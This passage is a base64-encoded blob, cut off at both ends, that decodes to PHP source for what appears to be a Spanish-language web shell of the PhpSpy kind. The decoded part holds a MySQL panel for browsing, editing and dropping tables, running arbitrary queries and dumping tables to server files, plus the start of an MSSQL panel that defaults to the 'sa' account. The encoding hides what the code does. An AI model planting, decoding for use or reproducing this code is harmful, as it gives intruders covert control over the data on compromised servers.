hYmxlbmFtZScsICR0YWJsZW5hbWUpOw0KDQoJCQltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOw0KDQoJCQlwKCRkYmZvcm0pOw0KDQoJCQlwKCc8L2Zvcm0+Jyk7DQoNCgkJCWlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsNCg0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCg0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KDQoJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCX0NCg0KCQkJCQl0YmZvb3QoKTsNCg0KCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0Jykgew0KDQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KDQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCg0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KDQoJCQkJCX0NCg0KCQkJCQkkcnMgPSBhcnJheSgpOw0KDQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCg0KCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCg0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KDQoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoNCgkJCQkJcCgkZGJmb3JtKTsNCg0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOw0KDQoJCQkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCR0YWJsZW5hbWUpOw0KDQoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCg0KCQkJCQkJaWYgKCRyc1skcm93WydGaWVsZCddXSkgew0KDQoJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOw0KDQoJCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQkJJHZhbHVlID0gJyc7DQoNCgkJCQkJCX0NCg0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCg0KCQkJCQkJaWYgKCRyb3dbJ0tleSddID09ICdVTkknIHx8ICRyb3dbJ0V4dHJhJ10gPT0gJ2F1dG9faW5jcmVtZW50JyB8fCAkcm93WydLZXknXSA9PSAnUFJJJykgew0KDQoJCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD4nLiR2YWx1ZS4nJm5ic3A7PC90ZD48L3RyPicpOw0KDQoJCQkJCQl9IGVsc2UgewkJCQkJCQkNCg0KCQkJCQkJCXAoJzx0ZD48Yj4nLiRyb3dbJ0ZpZWxkJ10uJzwvYj48YnIgLz4nLiRyb3dbJ1R5cGUnXS4nPC90ZD48dGQ+PHRleHRhcmVhIGNsYXNzPSJhcmVhIiBuYW1lPSJpbnNlcnRzcWxbJy4kcm93WydGaWVsZCddLiddIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjYwcHg7b3ZlcmZsb3c6YXV0bzsiPicuJHZhbHVlLic8L3RleHRhcmVhPjwvdGQ+PC90cj4nKTsNCg0KCQkJCQkJfQ0KDQoJCQkJCX0NCg0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydGFyIiAvPjwvdGQ+PC90cj4nKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJBY3R1YWxpemFyIiAvPjwvdGQ+PC90cj4nKTsNCg0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KDQoJCQkJCX0NCg0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsNCg0KCQkJCX0gZWxzZSB7DQoNCgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsNCg0KCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7DQoNCgkJCQkJCWlmICgkcXVlcnkpIHsNCg0KCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7DQoNCgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkNCg0KCQkJCQkJCXsNCg0KCQkJCQkJCQljYXNlIDA6DQoNCgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCg0KCQkJCQkJCQkJYnJlYWs7CQ0KDQoJCQkJCQkJCWNhc2UgMToNCg0KCQkJCQkJCQkJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVyeSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7DQoNCgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsNCg0KCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQlpZiAoJGdldG51bXNxbCkgew0KDQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KDQoJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KDQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KDQoJCQkJCQkJCQkJJHNxbF9saW5lID0gcHJlZ19yZXBsYWNlKCIvXC9cKlteKFwqXC8pXSpcKlwvL2kiLCAiICIsICRzcWxfbGluZSk7DQoNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoNCgkJCQkJCQkJCX0NCg0KDQoNCgkJCQkJCQkJCS8qKioqKioqKioqKioqKioqKioqKiovDQoNCgkJCQkJCQkJCSRnZXRmaWVsZCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsNCg0KCQkJCQkJCQkJJHJvd2RiID0gYXJyYXkoKTsNCg0KCQkJCQkJCQkJJGtleWZpZWQgPSAnJzsgLy8mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxNDYyOyYjMTI5O38NCg0KCQkJCQkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hc3NvYygkZ2V0ZmllbGQpKSB7DQoNCgkJCQkJCQkJCQkkcm93ZGJbJHJvd1snRmllbGQnXV1bJ0tleSddID0gJHJvd1snS2V5J107DQoNCgkJCQkJCQkJCQkkcm93ZGJbJHJvd1snRmllbGQnXV1bJ0V4dHJhJ10gPSAkcm93WydFeHRyYSddOw0KDQoJCQkJCQkJCQkJaWYgKCRyb3dbJ0tleSddID09ICdVTkknIHx8ICRyb3dbJ0tleSddID09ICdQUkknKSB7DQoNCgkJCQkJCQkJCQkJJGtleWZpZWQgPSAkcm93WydGaWVsZCddOw0KDQoJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQl9DQoNCgkJCQkNCg0KCQkJCQkJCQkJLy8mIzE0NTc7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KCQkJCQkJCQkJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVyeSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7DQoNCgkJCQkJCQkJCQkkcXVlcnkgPSBzdHJfcmVwbGFjZSgiIExJTUlUICIsICIgb3JkZXIgYnkgJGtleWZpZWQgREVTQyBMSU1JVCAiLCAkcXVlcnkpOw0KDQoJCQkJCQkJCQl9DQoNCg0KDQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KDQoNCg0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCg0KCQkJCQkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCg0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KDQoJCQkJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCg0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KDQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoNCgkJCQkJCQkJCQkkdHlwZSA9IEBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsNCg0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCg0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbikiLigoJHJvd2RiWyRuYW1lXVsnS2V5J10gPT0gJ1VOSScgfHwgJHJvd2RiWyRuYW1lXVsnS2V5J10gPT0gJ1BSSScpID8gJzxiPiAtIFBSSU1BUlk8L2I+JyA6ICcnKS4oJHJvd2RiWyRuYW1lXVsnRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnID8gJzxiPiAtIEF1dG88L2I+JyA6ICcnKS4iPC9zcGFuPjwvdGQ+Iik7DQoNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQkJCQkJDQoNCgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7DQoNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCg0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCg0KCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsNCg0KCQkJCQkJCQkJCS8vJiMxMTIxOyYjNTQ1OyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzE0NjI7JiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCg0KCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgew0KDQoJCQkJCQkJCQkJCQkvLyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O3+KtyYjMTIxMTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEzMTM7JiMxMjk7fyYjMTI5O38mIzEzMzQ7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjY5OyYjMTI5O38mIzEyOTt/JiMxNDYyO4qyJiMxMjk7fyYjMTI5O38mIzEyMDU7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiM4Njc7JiMxNDY1OyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxNDYyOyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjOTM4OyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCgkJCQkJCQkJCQkJCWlmICgkcm93ZGJbJGtleV1bJ0tleSddID09ICdVTkknIHx8ICRyb3dkYlska2V5XVsnRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnIHx8ICRyb3dkYlska2V5XVsnS2V5J10gPT0gJ1BSSScpIHsNCg0KCQkJCQkJCQkJCQkJCSR3aGVyZSA9ICRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCg0KCQkJCQkJCQkJCQkJCWJyZWFrOw0KDQoJCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCg0KCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7DQoNCgkJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJLy8mIzEyOTt/JiMxMjk7fyYjNTQ1OyYjMTI5O38mIzEyOTt/JiMxODg7JiMxMjk7fyYjMTI5O38NCg0KCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpew0KDQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCg0KCQkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsNCg0KDQoNCgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdGFyPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkJvcnJhcjwvYT48L3RkPicpOw0KDQoNCg0KCQkJCQkJCQkJCXAoJGIxKTsNCg0KCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQkJCQkJCQl1bnNldCgkYjEpOw0KDQoJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCXRiZm9vdCgpOw0KDQoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOw0KDQoJCQkJCQkJCQlicmVhazsNCg0KCQkJCQkJCQljYXNlIDI6DQoNCgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsNCg0KCQkJCQkJCQkJcCgnPGgyPkNvbHVtbmFzIGFmZWN0YWRhcyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCg0KCQkJCQkJCQkJYnJlYWs7DQoNCgkJCQkJCQl9DQoNCgkJCQkJCX0NCg0KCQkJCQl9DQoNCgkJCQl9DQoNCgkJCX0gZWxzZSB7DQoNCgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOw0KDQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KDQoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOw0KDQoJCQkJCSR0YWJsZV9udW0rKzsNCg0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KDQoJCQkJfQ0KDQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCg0KCQkJCXVuc2V0KCR0YWJsZSk7DQoNCgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOw0KDQoJCQkJcCgkZGJmb3JtKTsNCg0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoNCgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7DQoNCgkJCQlwKCc8dGQ+Tm9tYnJlPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7DQoNCgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOw0KDQoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsNCg0KCQkJCWlmICgkaGlnaHZlcikgew0KDQoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOw0KDQoJCQkJfQ0KDQoJCQkJcCgnPHRkPk9wZXJhdGU8L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7DQoNCgkJCQkJJHRoaXNiZyA9IGJnKCk7DQoNCgkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJfQ0KDQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0YXI8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPkVzdHJ1Y3R1cmE8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPjwvdGQ+Jyk7DQoNCgkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCX0NCg0KCQkJCXAoJzx0ciBjbGFzcz0nLmJnKCkuJz4nKTsNCg0KCQkJCXAoJzx0ZD4mbmJzcDs8L3RkPicpOw0KDQoJCQkJcCgnPHRkPlRvdGFsIHRhYmxhczogJy4kdGFibGVfbnVtLic8L3RkPicpOw0KDQoJCQkJcCgnPHRkPicuJHRhYmxlX3Jvd3MuJzwvdGQ+Jyk7DQoNCgkJCQlwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOw0KDQoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNSA6IDMpLiciPiZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoNCg0KCQkJCXAoIjx0ciBjbGFzcz1cIiIuYmcoKS4iXCI+PHRkIGNvbHNwYW49XCIiLigkaGlnaHZlciA/IDkgOiA3KS4iXCI+PGlucHV0IG5hbWU9XCJzYXZlYXNmaWxlXCIgdmFsdWU9XCIxXCIgdHlwZT1cImNoZWNrYm94XCIgLz4gR3VhcmRhciBjb21vIDxpbnB1dCBjbGFzcz1cImlucHV0XCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiIuU0FfUk9PVC4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9NeVNRTC5zcWxcIiB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIC8+IDxpbnB1dCBjbGFzcz1cImJ0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJkb3ducmFyXCIgdmFsdWU9XCJFeHBvcnRhciBzZWxlY2Npb25hZGFzXCIgLz48L3RkPjwvdHI+Iik7DQoNCgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOw0KDQoJCQkJZm9ybWZvb3QoKTsNCg0KCQkJCXAoIjwvdGFibGU+Iik7DQoNCgkJCQlmcigkcXVlcnkpOw0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQoJdGJmb290KCk7DQoNCglAbXlzcWxfY2xvc2UoKTsNCg0KfS8vZW5kIG15c3FsDQoNCg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdtc3NxbGFkbWluJykgew0KDQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOw0KDQoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdzYSc7DQoNCgkhJGRibmFtZSAmJiAkZGJuYW1lID0gJ21hc3Rlcic7DQoNCgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOw0KDQoJaWYoaXNzZXQoJGRiaG9zdCkpew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJ1c2VyKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJwYXNzKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJuYW1lKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoNCgl9DQoNCglpZiAoJGluc2VydCAmJiAkaW5zZXJ0c3FsKSB7DQoNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoNCgkJZm